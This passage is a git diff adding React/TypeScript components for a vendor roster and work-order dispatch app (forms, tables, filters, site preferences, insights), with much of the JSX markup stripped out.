tradeOptions?: string[]; + selectedCompanyId?: string | number | null; + onSelectCompany?: (company: VendorFacetCompany | null) => Promise; + onClearSelectedCompany?: (nextName?: string) => void; +} + +function CompanyNameField({ + control, + errors, + companies, + selectedCompanyId, + onSelectCompany, + onClearSelectedCompany, +}: VendorRosterFormFieldsProps) { + const useAutocomplete = companies !== undefined && onSelectCompany !== undefined; + const selectedCompany = + companies?.find( + (company) => + company.companyId != null && String(company.companyId) === String(selectedCompanyId), + ) ?? null; + + if (!useAutocomplete) { + return ( + ( + + )} + /> + ); + } + + return ( + ( + + freeSolo + options={companies ?? []} + value={selectedCompany ?? field.value} + inputValue={field.value} + getOptionLabel={(option) => (typeof option === "string" ? option : option.name)} + isOptionEqualToValue={(option, value) => + typeof value !== "string" && + option.companyId != null && + String(option.companyId) === String(value.companyId) + } + onChange={(_event, value) => { + if (typeof value === "object" && value !== null) { + void onSelectCompany?.(value); + return; + } + onClearSelectedCompany?.(typeof value === "string" ? value : ""); + field.onChange(typeof value === "string" ? value : ""); + }} + onInputChange={(_event, value, reason) => { + if (reason !== "input") return; + if (selectedCompanyId != null) onClearSelectedCompany?.(value); + field.onChange(value); + }} + renderInput={(params) => ( + + )} + /> + )} + /> + ); +} + +function CompanyFields({ + control, + errors, + companies, + selectedCompanyId, + onSelectCompany, + onClearSelectedCompany, +}: VendorRosterFormFieldsProps) { + return ( + + + Company + + + + + ( + field.onChange(formatNorthAmericanPhone(event.target.value))} + error={Boolean(errors.companyPhone)} + helperText={errors.companyPhone?.message ?? "Phone or email required"} + fullWidth + /> + )} + /> + ( + + )} + /> + + } + /> + + } + /> + ( + + )} + /> + } + /> + + ( + + )} + /> + ( + + )} + /> + + + ); +} + +interface TechnicianRowProps { + control: Control; + index: number; + error: FieldErrors | undefined; + onRemove: () => void; + canRemove: boolean; + tradeOptions: string[]; +} + +function TechnicianRow({ + control, + index, + error, + onRemove, + canRemove, + tradeOptions, +}: TechnicianRowProps) { + return ( + + + + Technician {index + 1} + + + + + + + + + + ( + + )} + /> + + ( + field.onChange(formatNorthAmericanPhone(event.target.value))} + error={Boolean(error?.phone)} + helperText={error?.phone?.message} + fullWidth + /> + )} + /> + ( + + )} + /> + + + ( + field.onChange(checked)} + /> + } + label={field.value ? "Active" : "Inactive"} + /> + )} + /> + + ); +} + +function TechniciansFieldArray({ + control, + errors, + tradeOptions, +}: { + control: Control; + errors: FieldErrors; + tradeOptions: string[]; +}) { + const { fields, append, remove } = useFieldArray({ control, name: "technicians" }); + + return ( + + + + Technicians ({fields.length}) + + + + + {fields.length === 0 ? ( + + No technicians yet. A company can be saved with zero technicians. + + ) : ( + fields.map((field, index) => ( + remove(index)} + canRemove + tradeOptions={tradeOptions} + /> + )) + )} + + + ); +} + +export function VendorRosterFormFields(props: VendorRosterFormFieldsProps) { + const { control, errors, tradeOptions = [] } = props; + return ( + + + + + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-roster-load-error.tsx b/src/app/(protected)/vendors/_components/vendor-roster-load-error.tsx new file mode 100644 index 00000000..0f9fb3d4 --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-roster-load-error.tsx @@ -0,0 +1,21 @@ +import { Alert, Button } from "@mui/material"; + +interface VendorRosterLoadErrorAlertProps { + message: string; + onRetry: () => void; +} + +export function VendorRosterLoadErrorAlert({ message, onRetry }: VendorRosterLoadErrorAlertProps) { + return ( + + Try again + + } + > + {message} + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-roster-page.tsx b/src/app/(protected)/vendors/_components/vendor-roster-page.tsx new file mode 100644 index 00000000..15f8ff9a --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-roster-page.tsx @@ -0,0 +1,130 @@ +import type { ReactNode } from "react"; +import { useNavigate } from "react-router"; +import { Alert, Box, Button, CircularProgress, Paper, Stack, Typography } from "@mui/material"; +import { VendorPortalTokenPanel } from "./vendor-portal-token-panel"; +import { VendorRosterConflictAlert } from "./vendor-roster-conflict-alert"; +import { VendorRosterFormFields } from "./vendor-roster-form-fields"; +import { VendorRosterLoadErrorAlert } from "./vendor-roster-load-error"; +import { useVendorRosterForm } from "./use-vendor-roster-form"; + +interface VendorRosterPageProps { + vendorId?: string; + companyId?: string; +} + +function PageShell({ + title, + subtitle, + children, +}: { + title: string; + subtitle: string; + children: ReactNode; +}) { + return ( + + + + + + {title} + + + {subtitle} + + + {children} + + + + ); +} + +export default function VendorRosterPage({ vendorId, companyId }: VendorRosterPageProps) { + const navigate = useNavigate(); + const isEdit = vendorId !== undefined || companyId !== undefined; + const form = useVendorRosterForm({ + mode: isEdit ? "update" : "create", + vendorId, + companyId, + onSuccess: () => navigate("/vendors"), + }); + + if (isEdit && form.isLoading) { + return ( + + + + ); + } + + if (isEdit && form.isError) { + return ( + + Failed to load vendor company. Try again. + + + + + ); + } + + if (isEdit && !form.roster) { + return null; + } + + const title = isEdit ? "Edit Vendor Company" : "Add Vendor Company"; + const subtitle = isEdit + ? "Update company details and technicians in one save." + : "Register a company and add zero, one, or multiple technicians."; + const companySelectionProps = isEdit + ? {} + : { + companies: form.companies, + selectedCompanyId: form.selectedCompanyId, + onSelectCompany: form.selectCompany, + onClearSelectedCompany: form.clearSelectedCompany, + }; + + return ( + + + + {form.loadErrorMessage !== null && ( + + )} + + {form.conflict !== null && ( + + )} + + + + {isEdit && vendorId !== undefined && vendorId !== "" && ( + + )} + + + + + + + + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-trade-specialties-field.tsx b/src/app/(protected)/vendors/_components/vendor-trade-specialties-field.tsx new file mode 100644 index 00000000..ff63ef4c --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-trade-specialties-field.tsx @@ -0,0 +1,152 @@ +import { useState } from "react"; +import { Controller, type Control } from "react-hook-form"; +import AddIcon from "@mui/icons-material/Add"; +import ArrowDownwardIcon from "@mui/icons-material/ArrowDownward"; +import ArrowUpwardIcon from "@mui/icons-material/ArrowUpward"; +import CloseIcon from "@mui/icons-material/Close"; +import { + Autocomplete, + Box, + Button, + Chip, + FormLabel, + Stack, + TextField, + Typography, +} from "@mui/material"; +import type { VendorCompanyRosterFormValues } from "@/domain/vendors/schemas/vendor-roster-schema"; + +function splitTrades(value: string | undefined): string[] { + return (value ?? "") + .split(",") + .map((trade) => trade.trim()) + .filter(Boolean); +} + +interface VendorTradeSpecialtiesFieldProps { + control: Control; + index: number; + tradeOptions: string[]; +} + +export function VendorTradeSpecialtiesField({ + control, + index, + tradeOptions, +}: VendorTradeSpecialtiesFieldProps) { + const [tradeInput, setTradeInput] = useState(""); + + return ( + + Trade Specialties + + First trade is primary. Reorder with the arrows. + + { + const trades = splitTrades(field.value); + const commit = (next: string[]) => field.onChange(next.join(", ")); + const add = (value: string) => { + const normalized = value.trim(); + if (normalized && !trades.includes(normalized)) commit([...trades, normalized]); + setTradeInput(""); + }; + const move = (tradeIndex: number, direction: -1 | 1) => { + const target = tradeIndex + direction; + if (target < 0 || target >= trades.length) return; + const next = [...trades]; + [next[tradeIndex], next[target]] = [next[target], next[tradeIndex]]; + commit(next); + }; + + return ( + + + {trades.length === 0 ? ( + + No trades selected. + + ) : ( + trades.map((trade, tradeIndex) => ( + + commit(trades.filter((_, itemIndex) => itemIndex !== tradeIndex)) + } + deleteIcon={} + /> + )) + )} + + + { + if (reason === "input") setTradeInput(value); + }} + onChange={(_event, value) => { + if (typeof value === "string") add(value); + }} + renderInput={(params) => ( + { + if (event.key === "Enter") { + event.preventDefault(); + add(tradeInput); + } + }} + /> + )} + className="flex-1" + /> + + + {trades.length > 1 && ( + + {trades.map((trade, tradeIndex) => ( + + {tradeIndex > 0 && ( + + )} + {tradeIndex < trades.length - 1 && ( + + )} + + ))} + + )} + + ); + }} + /> + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendors-list-toolbar.tsx b/src/app/(protected)/vendors/_components/vendors-list-toolbar.tsx new file mode 100644 index 00000000..e3e7cfa5 --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendors-list-toolbar.tsx @@ -0,0 +1,168 @@ +import FilterListIcon from "@mui/icons-material/FilterList"; +import { + Button, + Chip, + CircularProgress, + Stack, + TablePagination, + TextField, + Typography, +} from "@mui/material"; + +interface VendorsListToolbarProps { + globalCount: number; + activeCount: number; + isFetching: boolean; + isLoading: boolean; + search: string; + onSearchChange: (value: string) => void; + appliedFilterCount: number; + onOpenFilters: () => void; + onAddVendor: () => void; +} + +export function VendorsListToolbar({ + globalCount, + activeCount, + isFetching, + isLoading, + search, + onSearchChange, + appliedFilterCount, + onOpenFilters, + onAddVendor, +}: VendorsListToolbarProps) { + return ( + + + + Vendors / Technicians + + + {globalCount} vendor entries · {activeCount} active + + {isFetching && !isLoading && } + + + + onSearchChange(e.target.value)} + placeholder="Search name, company, trade..." + className="min-w-[260px]" + /> + + + + + ); +} + +interface AppliedChipEntry { + key: string; + label: string; + onRemove: () => void; +} + +interface VendorAppliedFiltersBarProps { + chips: AppliedChipEntry[]; + onClearAll: () => void; +} + +export function VendorAppliedFiltersBar({ chips, onClearAll }: VendorAppliedFiltersBarProps) { + if (chips.length === 0) return null; + return ( + + + Applied: + + {chips.map((chip) => ( + + ))} + + + ); +} + +interface VendorsListFooterProps { + totalCount: number; + isActive: boolean; + activeCount: number; + inactiveCount: number; + isFiltered: boolean; + page: number; + pageSize: number; + onPageChange: (page: number) => void; + onPageSizeChange: (pageSize: number) => void; +} + +export function VendorsListFooter({ + totalCount, + isActive, + activeCount, + inactiveCount, + isFiltered, + page, + pageSize, + onPageChange, + onPageSizeChange, +}: VendorsListFooterProps) { + return ( + + + {totalCount} {isActive ? "active" : "inactive"}{" "} + {totalCount === 1 ? "vendor entry" : "vendor entries"} + {isFiltered && " · filtered"} + {` · ${activeCount} active · ${inactiveCount} inactive`} + + onPageChange(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(e) => onPageSizeChange(Number(e.target.value))} + rowsPerPageOptions={[12, 24, 48]} + /> + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendors-table.tsx b/src/app/(protected)/vendors/_components/vendors-table.tsx new file mode 100644 index 00000000..802fff8a --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendors-table.tsx @@ -0,0 +1,263 @@ +import { type KeyboardEvent, type MouseEvent } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import VisibilityOutlinedIcon from "@mui/icons-material/VisibilityOutlined"; +import { + Avatar, + Chip, + CircularProgress, + IconButton, + Link, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TableRow, + Tooltip, + Typography, +} from "@mui/material"; +import type { VendorListItem } from "@/domain/vendors/types/vendor"; + +const TABLE_COLUMNS = [ + "Company", + "Technician", + "Location", + "Trade", + "Phone", + "Email", + "Total Jobs", + "Status", + "View", + "Edit", +] as const; + +function getInitials(name: string): string { + const parts = name.trim().split(/\s+/).filter(Boolean); + if (parts.length === 0) return "?"; + const first = parts[0]?.[0] ?? ""; + const last = parts.length > 1 ? (parts[parts.length - 1]?.[0] ?? "") : ""; + return (first + last).toUpperCase(); +} + +function splitTrades(value: string | undefined): string[] { + return (value ?? "") + .split(",") + .map((trade) => trade.trim()) + .filter(Boolean); +} + +function stopPropagation(event: MouseEvent): void { + event.stopPropagation(); +} + +interface VendorTableRowProps { + row: VendorListItem; + onOpenDetail: (row: VendorListItem) => void; + onOpenDeactivation: (row: VendorListItem) => void; +} + +function VendorTableRow({ row, onOpenDetail, onOpenDeactivation }: VendorTableRowProps) { + const navigate = useNavigate(); + const trades = splitTrades(row.tradeSpecialties); + const primaryTrade = trades[0] ?? "—"; + const extraTrades = trades.length > 1 ? trades.length - 1 : 0; + const locationText = [row.city, row.state].filter(Boolean).join(", ") || "—"; + const hasVendorId = row.id != null; + const rowKey = String(row.id ?? `company-${row.companyId ?? ""}`); + + const handleKeyDown = (event: KeyboardEvent) => { + if (event.key !== "Enter" && event.key !== " ") return; + event.preventDefault(); + event.stopPropagation(); + onOpenDetail(row); + }; + + return ( + onOpenDetail(row)} + onKeyDown={handleKeyDown} + > + + {row.companyName || "—"} + + + + + {getInitials(row.contactName)} + + {row.contactName || "—"} + + + {locationText} + + {primaryTrade === "—" ? ( + "—" + ) : ( + + {primaryTrade} + {extraTrades > 0 && } + + )} + + + {row.phone ? ( + + {row.phone} + + ) : ( + "—" + )} + + + {row.email ? ( + + {row.email} + + ) : ( + "—" + )} + + {row.totalJobs ?? 0} + + + + + + { + event.stopPropagation(); + onOpenDetail(row); + }} + > + + + + + + + + { + event.stopPropagation(); + navigate( + row.id != null + ? `/vendors/edit/${row.id}` + : `/vendors/company/${row.companyId ?? ""}`, + ); + }} + > + + + + {hasVendorId && row.isActive && ( + + { + event.stopPropagation(); + onOpenDeactivation(row); + }} + > + + + + )} + + + + ); +} + +interface VendorsTableProps { + rows: VendorListItem[]; + isLoading: boolean; + showError: boolean; + onOpenDetail: (row: VendorListItem) => void; + onOpenDeactivation: (row: VendorListItem) => void; +} + +export function VendorsTable({ + rows, + isLoading, + showError, + onOpenDetail, + onOpenDeactivation, +}: VendorsTableProps) { + const showEmptyRow = !isLoading && !showError && rows.length === 0; + + return ( + + + + + {TABLE_COLUMNS.map((column) => ( + + {column} + + ))} + + + + {isLoading ? ( + + + + + + ) : showEmptyRow ? ( + + + + No vendors match the current filters. + + + + ) : ( + rows.map((row) => ( + + )) + )} + +
    +
    + ); +} diff --git a/src/app/(protected)/vendors/company/[companyId].tsx b/src/app/(protected)/vendors/company/[companyId].tsx new file mode 100644 index 00000000..f2f356f6 --- /dev/null +++ b/src/app/(protected)/vendors/company/[companyId].tsx @@ -0,0 +1,7 @@ +import { useParams } from "react-router"; +import VendorRosterPage from "../_components/vendor-roster-page"; + +export default function EditVendorCompanyByCompanyPage() { + const { companyId } = useParams(); + return ; +} diff --git a/src/app/(protected)/vendors/edit/[id].tsx b/src/app/(protected)/vendors/edit/[id].tsx new file mode 100644 index 00000000..3fc0f3e7 --- /dev/null +++ b/src/app/(protected)/vendors/edit/[id].tsx @@ -0,0 +1,7 @@ +import { useParams } from "react-router"; +import VendorRosterPage from "../_components/vendor-roster-page"; + +export default function EditVendorCompanyPage() { + const { id } = useParams(); + return ; +} diff --git a/src/app/(protected)/vendors/index.tsx b/src/app/(protected)/vendors/index.tsx new file mode 100644 index 00000000..a084b59b --- /dev/null +++ b/src/app/(protected)/vendors/index.tsx @@ -0,0 +1,151 @@ +import { useMemo, useState } from "react"; +import { Alert, Box, Tab, Tabs } from "@mui/material"; +import { VendorCreateModal } from "./_components/vendor-create-modal"; +import { VendorDetailDrawer } from "./_components/vendor-detail-drawer"; +import { VendorDeactivationDialog } from "./_components/vendor-deactivation-dialog"; +import { VendorFiltersDrawer } from "./_components/vendor-filters-drawer"; +import { + VendorAppliedFiltersBar, + VendorsListFooter, + VendorsListToolbar, +} from "./_components/vendors-list-toolbar"; +import { VendorsTable } from "./_components/vendors-table"; +import { useVendorDeactivation } from "./_components/use-vendor-deactivation"; +import { useVendorListState } from "./_components/use-vendor-list-state"; +import type { VendorFilters } from "./_components/vendor-filters"; +import type { VendorListItem } from "@/domain/vendors/types/vendor"; +import { useVendorFacets } from "@/domain/vendors/use-cases/use-vendor-facets"; +import { useVendorsList } from "@/domain/vendors/use-cases/use-vendors-list"; + +interface AppliedChip { + category: keyof VendorFilters; + value: string; + label: string; +} + +function describeChips( + filters: VendorFilters, + jobBucketLabels: Map, +): AppliedChip[] { + const chips: AppliedChip[] = []; + filters.companies.forEach((value) => chips.push({ category: "companies", value, label: value })); + filters.trades.forEach((value) => chips.push({ category: "trades", value, label: value })); + filters.locations.forEach((value) => chips.push({ category: "locations", value, label: value })); + filters.jobBuckets.forEach((value) => + chips.push({ category: "jobBuckets", value, label: jobBucketLabels.get(value) ?? value }), + ); + return chips; +} + +export default function VendorsListPage() { + const filters = useVendorListState(); + const [filtersOpen, setFiltersOpen] = useState(false); + const [createOpen, setCreateOpen] = useState(false); + const [detailTarget, setDetailTarget] = useState(null); + const deactivation = useVendorDeactivation(); + + const { data: facets } = useVendorFacets(filters.isActive); + const { data, isLoading, isFetching, error } = useVendorsList(filters.listParams); + const { data: activeCountData } = useVendorsList({ isActive: true, page: 1, pageSize: 1 }); + const { data: inactiveCountData } = useVendorsList({ isActive: false, page: 1, pageSize: 1 }); + + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + const activeCount = activeCountData?.totalCount ?? 0; + const inactiveCount = inactiveCountData?.totalCount ?? 0; + + const jobBucketLabels = useMemo( + () => new Map((facets?.jobBuckets ?? []).map((bucket) => [bucket.id, bucket.label])), + [facets], + ); + const appliedChips = describeChips(filters.appliedFilters, jobBucketLabels); + + return ( + + setFiltersOpen(true)} + onAddVendor={() => setCreateOpen(true)} + /> + + + filters.setIsActiveWithReset(value === "active") + } + aria-label="Vendor status" + > + + + + + ({ + key: `${chip.category}-${chip.value}`, + label: chip.label, + onRemove: () => filters.removeFilter(chip.category, chip.value), + }))} + onClearAll={filters.clearFilters} + /> + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load vendors"} + + )} + + + + 0 || Boolean(filters.debouncedSearch)} + page={filters.page} + pageSize={filters.pageSize} + onPageChange={filters.setPage} + onPageSizeChange={filters.setPageSizeWithReset} + /> + + setCreateOpen(false)} /> + + setFiltersOpen(false)} + facets={facets} + appliedFilters={filters.appliedFilters} + onApply={filters.setAppliedFiltersWithReset} + /> + + setDetailTarget(null)} + /> + + + + ); +} diff --git a/src/app/(protected)/vendors/insights.tsx b/src/app/(protected)/vendors/insights.tsx new file mode 100644 index 00000000..de5c5f0c --- /dev/null +++ b/src/app/(protected)/vendors/insights.tsx @@ -0,0 +1,123 @@ +import { useState } from "react"; +import { useQuery } from "@tanstack/react-query"; +import { + Alert, + Box, + Button, + CircularProgress, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableHead, + TableRow, + TextField, + Typography, +} from "@mui/material"; +import { vendorOperationsApi } from "@/domain/vendor-operations/api/vendor-operations-api"; + +function percent(value: number) { + return `${(Number(value || 0) * 100).toFixed(1)}%`; +} + +export default function VendorInsightsPage() { + const [from, setFrom] = useState(""); + const [to, setTo] = useState(""); + const [trade, setTrade] = useState(""); + const params = { from: from || undefined, to: to || undefined, trade: trade || undefined }; + const { + data = [], + isLoading, + error, + } = useQuery({ + queryKey: ["vendor-operations", "insights", params], + queryFn: () => vendorOperationsApi.insights(params), + }); + + return ( + + + + Vendor performance insights + + + Metrics include inactive vendors for historical reporting and use the same filtered + dispatch population. + + + + + setFrom(event.target.value)} + slotProps={{ inputLabel: { shrink: true } }} + /> + setTo(event.target.value)} + slotProps={{ inputLabel: { shrink: true } }} + /> + setTrade(event.target.value)} + /> + + + + + {isLoading && } + {Boolean(error) && {error?.message}} + {!isLoading && !error && data.length === 0 && ( + No data matches the selected filters. + )} + {data.length > 0 && ( + + + + + Vendor + Completed + Cancellation / refusal + On-time arrival + On-time completion + Avg. cycle + + + + {data.map((row) => ( + + {row.vendor} + {row.completedJobs} + {percent(row.cancellationRefusalRate)} + {percent(row.onTimeArrivalRate)} + {percent(row.onTimeCompletionRate)} + + {row.averageCycleHours == null + ? "Insufficient data" + : `${Number(row.averageCycleHours).toFixed(1)}h`} + + + ))} + +
    +
    + )} +
    + ); +} diff --git a/src/app/(protected)/vendors/new.tsx b/src/app/(protected)/vendors/new.tsx new file mode 100644 index 00000000..ea698cb7 --- /dev/null +++ b/src/app/(protected)/vendors/new.tsx @@ -0,0 +1,5 @@ +import VendorRosterPage from "./_components/vendor-roster-page"; + +export default function NewVendorCompanyPage() { + return ; +} diff --git a/src/app/(protected)/vendors/preferences.tsx b/src/app/(protected)/vendors/preferences.tsx new file mode 100644 index 00000000..fdb93618 --- /dev/null +++ b/src/app/(protected)/vendors/preferences.tsx @@ -0,0 +1,254 @@ +import { useEffect, useMemo, useState } from "react"; +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; +import { + Alert, + Autocomplete, + Box, + Button, + IconButton, + Paper, + Stack, + TextField, +} from "@mui/material"; +import { ArrowDown, ArrowUp, Trash2 } from "lucide-react"; +import { toast } from "react-toastify"; +import { Text } from "@/components/ui/text"; +import { vendorOperationsApi } from "@/domain/vendor-operations/api/vendor-operations-api"; +import type { SiteVendorPreference } from "@/domain/vendor-operations/types/vendor-operations"; +import { + useWorkOrderLocations, + useWorkOrderVendors, +} from "@/domain/work-orders/use-cases/use-work-order-detail"; +import type { VendorDropdownItem } from "@/domain/work-orders/types/work-order"; + +const EMPTY_PREFERENCES: SiteVendorPreference[] = []; + +type AddVendorPreferenceControlsProps = { + trade: string; + onTradeChange: (value: string) => void; + vendorOptions: VendorDropdownItem[]; + vendors: VendorDropdownItem[]; + vendorId: number | null; + onVendorChange: (vendorId: number | null) => void; + onAdd: () => void; +}; + +function AddVendorPreferenceControls({ + trade, + onTradeChange, + vendorOptions, + vendors, + vendorId, + onVendorChange, + onAdd, +}: AddVendorPreferenceControlsProps) { + return ( + + + onTradeChange(event.target.value)} + /> + + `${option.companyName}${option.tradeSpecialties ? ` · ${option.tradeSpecialties}` : ""}` + } + value={vendors.find((vendor) => Number(vendor.id) === vendorId) ?? null} + onChange={(_event, option) => onVendorChange(option ? Number(option.id) : null)} + renderInput={(params) => } + className="flex-1" + /> + + + + ); +} + +type PreferenceRowProps = { + item: SiteVendorPreference; + index: number; + total: number; + onMove: (index: number, offset: number) => void; + onRemove: (index: number) => void; +}; + +function PreferenceRow({ item, index, total, onMove, onRemove }: PreferenceRowProps) { + return ( + + + + {index + 1}. {item.vendorName} {item.trade ? `· ${item.trade}` : "· All trades"} + + {item.isStale && ( + + Stale preference + + )} + onMove(index, -1)} + disabled={index === 0} + > + + + onMove(index, 1)} + disabled={index === total - 1} + > + + + onRemove(index)}> + + + + + ); +} + +export default function VendorPreferencesPage() { + const queryClient = useQueryClient(); + const [locationId, setLocationId] = useState(""); + const [draft, setDraft] = useState([]); + const [isDirty, setIsDirty] = useState(false); + const [trade, setTrade] = useState(""); + const [vendorId, setVendorId] = useState(null); + const { data: locations = [] } = useWorkOrderLocations(); + const { data: vendors = [] } = useWorkOrderVendors(trade || undefined); + const queryKey = ["vendor-operations", "site-preferences", locationId]; + const { data: serverPreferences = EMPTY_PREFERENCES, error } = useQuery({ + queryKey, + queryFn: () => vendorOperationsApi.sitePreferences(locationId), + enabled: locationId !== "", + }); + + // A background refetch must not clobber in-flight edits, so only adopt server + // data while the draft is clean (initial load, site change, or after a save). + useEffect(() => { + if (!isDirty) { + setDraft(serverPreferences); + } + }, [isDirty, serverPreferences]); + + const vendorOptions = useMemo(() => { + const selectedVendorIds = new Set(draft.map((preference) => preference.vendorId)); + return vendors.filter((vendor) => !selectedVendorIds.has(Number(vendor.id))); + }, [draft, vendors]); + + const save = useMutation({ + mutationFn: () => + vendorOperationsApi.replaceSitePreferences( + locationId, + draft.map((item, sortOrder) => ({ vendorId: item.vendorId, trade: item.trade, sortOrder })), + ), + onMutate: async () => { + await queryClient.cancelQueries({ queryKey }); + }, + onSuccess: (savedPreferences) => { + queryClient.setQueryData(queryKey, savedPreferences); + setDraft(savedPreferences); + setIsDirty(false); + toast.success("Preferred vendors updated"); + }, + onError: () => toast.error("Unable to save preferred vendors. Please try again."), + }); + + const move = (index: number, offset: number) => { + setDraft((current) => { + const target = index + offset; + if (target < 0 || target >= current.length) return current; + const next = [...current]; + [next[index], next[target]] = [next[target]!, next[index]!]; + return next.map((item, sortOrder) => ({ ...item, sortOrder })); + }); + setIsDirty(true); + }; + + const add = () => { + const vendor = vendors.find((item) => Number(item.id) === vendorId); + if (!vendor || locationId === "") return; + setDraft((current) => [ + ...current, + { + id: -Date.now(), + locationId: Number(locationId), + vendorId: Number(vendor.id), + vendorName: vendor.companyName, + trade: trade.trim() || undefined, + sortOrder: current.length, + isStale: false, + }, + ]); + setVendorId(null); + setIsDirty(true); + }; + + const remove = (index: number) => { + setDraft((current) => current.filter((_, row) => row !== index)); + setIsDirty(true); + }; + + const selectLocation = (nextLocationId: string | number) => { + setLocationId(nextLocationId); + setDraft(EMPTY_PREFERENCES); + setIsDirty(false); + }; + + return ( + + + + Preferred vendors by site + + + Preferred vendors rank first, but availability, conflict, trade, active-state, and + permission checks still apply. + + + + option.name} + value={locations.find((location) => location.id === locationId) ?? null} + onChange={(_event, option) => selectLocation(option?.id ?? "")} + renderInput={(params) => } + /> + + + Unable to load preferred vendors. Please try again. + + {locationId !== "" && ( + <> + + + {draft.map((item, index) => ( + + ))} + + + + )} + + ); +} diff --git a/src/app/(protected)/workorders/[id].tsx b/src/app/(protected)/workorders/[id].tsx new file mode 100644 index 00000000..cfdcf7d7 --- /dev/null +++ b/src/app/(protected)/workorders/[id].tsx @@ -0,0 +1,109 @@ +import { useState } from "react"; +import { useNavigate, useParams } from "react-router"; +import { Alert, Box, CircularProgress } from "@mui/material"; +import { DispatchCreateModal } from "./_components/dispatch-create-modal"; +import { DispatchDetailModal } from "./_components/dispatch-detail-modal"; +import { VendorEditorDialog } from "./_components/vendor-editor-dialog"; +import { useVendorEditor } from "./_components/use-vendor-editor"; +import { WorkOrderActivity } from "./_components/work-order-activity"; +import { + DispatchAccordion, + WorkOrderDetailsSection, + WorkOrderHeader, + WorkOrderSummaryAccordions, +} from "./_components/work-order-view-sections"; +import { useWorkOrderDetail } from "@/domain/work-orders/use-cases/use-work-order-detail"; +import { + useChangeWorkOrderAssignment, + useChangeWorkOrderStatus, +} from "@/domain/work-orders/use-cases/use-work-order-mutations"; +import { useWorkOrderUsers } from "@/domain/work-orders/use-cases/use-work-orders-list"; + +export default function WorkOrderViewPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const workOrderId = id ?? ""; + + const { data: wo, isLoading, error, refetch } = useWorkOrderDetail(workOrderId); + const { data: users = [] } = useWorkOrderUsers(); + const statusMutation = useChangeWorkOrderStatus(workOrderId); + const assignmentMutation = useChangeWorkOrderAssignment(workOrderId); + const vendorEditor = useVendorEditor({ workOrderId, onSaved: () => void refetch() }); + + const [dispatchOpen, setDispatchOpen] = useState(false); + const [dispatchDetailId, setDispatchDetailId] = useState(null); + + if (isLoading) { + return ( + + + + ); + } + + if (error || !wo) { + return ( + + + {error instanceof Error ? error.message : "Work order not found."} + + + ); + } + + return ( + + statusMutation.mutate(status)} + onDispatch={() => setDispatchOpen(true)} + onEdit={() => navigate(`/workorders/edit/${id}`)} + onBack={() => navigate("/workorders")} + /> + assignmentMutation.mutate(payload)} + /> + + + void vendorEditor.open(event, vendorId, vendorName) + } + onViewDispatch={setDispatchDetailId} + /> + + {dispatchOpen && ( + setDispatchOpen(false)} + onDispatched={() => void refetch()} + /> + )} + {dispatchDetailId != null && ( + setDispatchDetailId(null)} + onUpdated={() => void refetch()} + /> + )} + + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch-create-modal.tsx b/src/app/(protected)/workorders/_components/dispatch-create-modal.tsx new file mode 100644 index 00000000..b7ab376c --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch-create-modal.tsx @@ -0,0 +1,377 @@ +import { useMemo, useState } from "react"; +import { + Box, + Button, + Chip, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + IconButton, + MenuItem, + Radio, + Stack, + TextField, + Typography, +} from "@mui/material"; +import CloseIcon from "@mui/icons-material/Close"; +import { useWorkOrdersList } from "@/domain/work-orders/use-cases/use-work-orders-list"; +import { + useTaskListTemplates, + useWorkOrderVendors, +} from "@/domain/work-orders/use-cases/use-work-order-detail"; +import { useDispatchToVendor } from "@/domain/work-orders/use-cases/use-work-order-mutations"; +import type { WorkOrderDetail } from "@/domain/work-orders/types/work-order"; + +interface SelectedWorkOrder { + id: string | number; + number: string; + title: string; +} + +interface DispatchCreateModalProps { + workOrder: WorkOrderDetail; + onClose: () => void; + onDispatched: () => void; +} + +export function DispatchCreateModal({ + workOrder, + onClose, + onDispatched, +}: DispatchCreateModalProps) { + const [selectedVendorId, setSelectedVendorId] = useState(null); + const [nteAmount, setNteAmount] = useState(workOrder.vendorNTE || ""); + const [scheduledDate, setScheduledDate] = useState(""); + const [description, setDescription] = useState(workOrder.description || ""); + const [vendorSearch, setVendorSearch] = useState(""); + const [selectedTemplateId, setSelectedTemplateId] = useState(""); + const [customItems, setCustomItems] = useState([]); + const [newCustomItem, setNewCustomItem] = useState(""); + const [selectedWOs, setSelectedWOs] = useState([ + { + id: workOrder.id, + number: workOrder.internalWONumber, + title: workOrder.title, + }, + ]); + const [woSearch, setWoSearch] = useState(""); + + const { data: vendors = [], isLoading: isLoadingVendors } = useWorkOrderVendors( + workOrder.trade, + workOrder.locationZip, + ); + const { data: taskTemplates = [] } = useTaskListTemplates(); + const dispatchMutation = useDispatchToVendor(workOrder.id); + + const { data: siteWorkOrdersData } = useWorkOrdersList({ + search: "", + page: 1, + pageSize: 500, + sortBy: "number", + sortDir: "asc", + locationId: workOrder.locationId, + }); + + const siteWorkOrders = useMemo( + () => + (siteWorkOrdersData?.items ?? []).filter((item) => String(item.id) !== String(workOrder.id)), + [siteWorkOrdersData?.items, workOrder.id], + ); + + const filteredVendors = useMemo( + () => + vendors.filter( + (vendor) => + vendor.companyName.toLowerCase().includes(vendorSearch.toLowerCase()) || + vendor.tradeSpecialties.toLowerCase().includes(vendorSearch.toLowerCase()), + ), + [vendors, vendorSearch], + ); + + const filteredSiteWOs = useMemo( + () => + siteWorkOrders + .filter((item) => !selectedWOs.some((selected) => String(selected.id) === String(item.id))) + .filter( + (item) => + !woSearch || + item.woNumber.includes(woSearch) || + 